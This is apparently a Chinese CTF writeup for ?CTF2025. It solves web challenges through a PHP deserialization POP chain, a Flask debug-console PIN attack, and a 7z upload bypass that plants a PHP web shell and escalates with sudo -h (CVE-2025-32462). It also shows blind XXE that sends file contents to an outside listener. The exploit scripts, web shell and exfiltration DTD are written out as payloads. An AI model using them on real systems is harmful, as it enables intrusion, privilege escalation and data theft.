Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
2062 字
10 分钟
?CTF2025 writeup
2025-12-20
统计加载中...

week4php反序列化#

开始给了这些代码

<?php
?php
highlight_file('index.php');
Class Start
{
public $ishero;
public $adventure;
public function __wakeup(){
if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
echo "<br>勇者啊,去寻找利刃吧<br>";
return $this->adventure->sword;
}
else{
echo "前方的区域以后再来探索吧!<br>";
}
}
}
class Sword
{
public $test1;
public $test2;
public $go;
public function __get($name)
{
if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
echo $this->go;
} else {
echo "Dead";
}
}
}
class Mon3tr
{
private $result;
public $end;
public function __toString()
{
$result = new Treasure();
echo "到此为止了!魔王<br>";
if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
$result->end($this->end);
} else {
echo "难道……要输了吗?<br>";
}
return "<br>";
}
}
class Treasure
{
public function __call($name, $arg)
{
echo "结束了?<br>";
eval($arg[0]);
}
}
if (isset($_POST["HERO"])) {
unserialize($_POST["HERO"]);
}

“一个简单的反序列化,从那个后往前看,调用不存在的方法(属性)时执行其参数值,当对象被当字符串调用时过了防火墙之后调用不存在的方法,调用不存在的属性时过了md5强碰撞之后,把属性go当作字符串调用(go属性指向前面的对象),然后到了最前面,如果反序列化了自动调用__wakeup(),如果ishero的值不等于hero又包含hero时,调用不存在的属性sowrd,ok了,闭环,接下来直接贴payload。

<?php
class Start {
public $ishero;
public $adventure;
}
class Sword {
public $test1;
public $test2;
public $go;
}
class Mon3tr {
private $result;
public $end;
}
$o = new Start();
$o->ishero = "hero1";
$o->adventure = new Sword();
$o->adventure->test1 = [1];
$o->adventure->test2 = [2];
$o->adventure->go = new Mon3tr();
$o->adventure->go->end = "eval(\"\\\$x='sy'.'stem';\\\$x('c'.'at /fla*');\");";
echo serialize($o);

W4好像什么都能读#

这题一开始是这个页面

imgimg

看了看没啥大问题,大概是/read?filename=xxx然后读文件,读一读app.py

img

发现存在任意文件读取,并且debug调试是开的,那么我们可以利用这两个点打组合拳。

因为进debug调试需要pin,那么这里知识就有些多了,来吧,展示:

pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式。

条件:debug模式 有任意文件读取如/file?filename= 满足六要素

老生常谈六要素:

username,用户名

modname,默认值为flask.app

appname,默认值为Flask

moddir,flask库下app.py的绝对路径

uuidnode,当前网络的mac地址的十进制数

machine_id,docker机器id

username:

通过文件读取/etc/passwd,找带shell的,一般为root

modename:

一般默认为flask.app

appname:

一般不变就是Flask

moddir:

app.py的绝对路径,只需要让程序报错就会泄露该值 #/usr/local/lib/python3.9/site-packages/flask/app.py

uuidnode:

mac地址的十进制数,通过读/sys/class/net/eth0/address获得十六进制数然后去掉冒号转十进制或者cmd里用python执行print(int(‘5aefc61f2456’,16))

machine_id:

每一个机器都会有自已唯一的id,Linux具体过程就是先找/etc/machine-id,如果有就去找/proc/self/cgroup进行拼接,如果没有就用/proc/sys/kernel/random/boot_id和/proc/self/cgroup的0::/后面的内容进行拼接(或者docker/后面那一串),如果为空就为空。

最后注意一下加密算法以前是md5,3.8及之后是sha1,注意改算法`

如果console访问不到控制台

需要:

1.Host改127.0.0.1 只要是访问/console都需要带host

2.获取cookie /console?debugger=yes&cmd=pinauth&pin=245-243-598&s=KFThF5Qtc7mCpJREkDHF

S是报错里的SECRET,要右键源码找 提交正确的pin码后会返回cookie 需要带host

  1. 执行代码/console?debugger=yes&cmd=print(%27mixian%27)&frm=140360546289440&s=KFThF5Qtc7mCpJREkDHF

frm依旧报错右键源码找frame 如果没有就是0如果有任意一个都可以 需要带上host和cookie

因为刚开始脑子糊,我原先并不清楚pin的计算方法和werkzeug版本的区别,于是去看__init__.py文件,路径是

/home/ctf/.local/lib/python3.13/site-packages/werkzeug/debug/init.py,然后发现只能支持127.0.0.1进入调试,不然会被反代理拦截,那么我们通过计算出的pin输入pin输入框后(另外,调试台不给我显示,控制台显示指令是promptForPin();)然后去读SECRET,直接控制台输入,然后frm也可以在控制台解锁后输入frm直接查找,然后cmd=xxxx,列出当前文件,打payload,url编码保证传输,大概格式是这样

/read?debugger=yes&cmd=<URL编码后的Python表达式>&frm=<FRAME_ID>&s=

这题的列出文件payload是(import(‘os’).popen(‘ls -la / /home/ctf /home/ctf/instance’).read())

然后发现了/fllllaggggggggggg这个文件,ok直接open一读,完事,出狱!!!

W4.getshell#

首先,给了一个附件,看看代码

<?php
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];
function filter($tempfile)
{
$data = file_get_contents($tempfile);
if (
stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
) {
return true;
}
return false;
}
if ($_SERVER["REQUEST_METHOD"] == 'POST') {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
die("Nope :<");
}
// mimetype check
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($mime_type, $allowed_mime_types)) {
die('unexpected mimetype');
}
// ext check
$ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
die('unexpected extension');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) {
echo "File upload success!Please include with 'url'";
}else{
echo "fail";
}
}
}
if (isset($_GET['url'])) {
$include_url = basename($_GET['url']);
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("unexpected extension");
}
include '/tmp/' . $include_url;
exit;
}
?>
<form enctype='multipart/form-data' method='post'>
<input type='file' name='file'>
<input type="submit" value="upload"></p>
</form>

审计一下,大概就是只能上传zip,7z等格式的压缩文件,但是,还限制了<?和**<?php**,PK,和函数__HALT_COMPILER()这个<?和<?php就不多说了,是限制php上传的,那么PK是zip的文件头,__HALT_COMPILER()是一个嵌入数据的函数,这有点自相矛盾,能传zip又禁了zip的文件头,也就是不让我们传zip,那么好,直接传7z,然后伪装一下,加个文件头(其实好像不加也行),以下是一句话木马payload(不知道冰蝎咋回事执行命令没回显):

<script language="php">
system($_GET['c']);
</script>

然后加的7z文件头是37 7A BC AF 27 1C,直接十六进制加。

然后就开始下一步,我们开始通过一句话木马执行指令,发现自己是www-data也就是普通用户的权限,然后目录遍历,c=ls ../../../找到了flag,直接读回显空白,看看所需权限,‘-r-------- 1 root root 42 Oct 22 04:50 ../../../flag,发现需要root才能查看,好了这下,直接提权,我们先试试suid,打payload:find / -perm -4000 -type f -exec ls -ls {} 2>/dev/null \

-rwsr-xr-x 1 root root 36560 May 19 2018 /bin/su
48 -rwsr-xr-x 1 root root 47376 May 19 2018 /usr/bin/passwd
56 -rwsr-xr-x 1 root root 55200 May 19 2018 /usr/bin/gpasswd
56 -rwsr-xr-x 1 root root 55408 May 19 2018 /usr/bin/chage
44 -rwsr-xr-x 1 root root 41848 May 19 2018 /usr/bin/chfn
116 -rwsr-xr-x 1 root root 116024 Feb 5 2020 /usr/bin/sudo
20 -rwsr-xr-x 1 root root 18608 May 19 2018 /usr/bin/expiry
32 -rwsr-xr-x 1 root root 32256 May 19 2018 /usr/bin/chsh
32 -rwsr-xr-x 1 root root 32088 May 19 2018 /usr/bin/newgrp

结果没发现什么高危的,试了试sudo的几个高危险CVE,没啥用,然后看/etc/sudoers这个sudo命令的配置文件,在最后一行发现www-data asd.asd.asd = NOPASSWD,意思是可以在www-data用户下使用asd.asd.asd的主机地址执行所有权限的命令并且不需要密码,结合漏洞CVE-2025-32462,这个漏洞基本原理是sudo 的 - h(–host)选项错误地将远程主机的权限规则应用到本地系统,导致本地低权限用户可通过指定允许的远程主机名,绕过本地权限限制,以 root 身份执行命令。

然后利用,直接打出payload利用漏洞越权拿flag:\

sudo -h asd.asd.asd cat ../../../flag,直接KO

W3基础XXE出网#

这边是上来是一个xml输入界面img

输入只有seccess,faliled,hacker。没有回显,办法试试dtd外带。又因为过滤了!ENTITY,只能外部引用了,我试试写写payload

&file;

以上,其中的&file是引用上面dtd的参数,这是攻击payload

然后,再是服务器的内容,服务器的payload我试试手打。

<!ENTITY %ddk SYSTEM 'php://filter/read=convert.base64.encode/resource='/f1111llllaa44g'>
<!ENTITY %vps '<!ENTITY &#37;ppk SYSTEM 'http://asdasdadadadd:2333/&ddk'>'>
%ppk;
%vps;

这个解释一下,ddk引用内容,然后下面至于为什么要套壳,是为了延迟输出,从而绕过waf,还有如果在前面直接用%是ok,但是在后面<>里要用;证明这个十进制或者十六进制的合法性,然后就没啥了,直接nc监听,然后看到/xxxxxxxx的就是flag。这个吧,原理就是把dtd文件引用然后解析ppk,vps,就连上nc了,然后最后一点,他妈

&file;我一直懵逼到底干嘛用,其实就是防止报错,这是维持xml结构正确的,本身没啥用,ok结束

?CTF2025 writeup
https://steins-gate.cn/posts/qctf2025/
作者
萦梦sora~Nya
发布于
2025-12-20
许可协议
Unlicensed

部分信息可能已经过时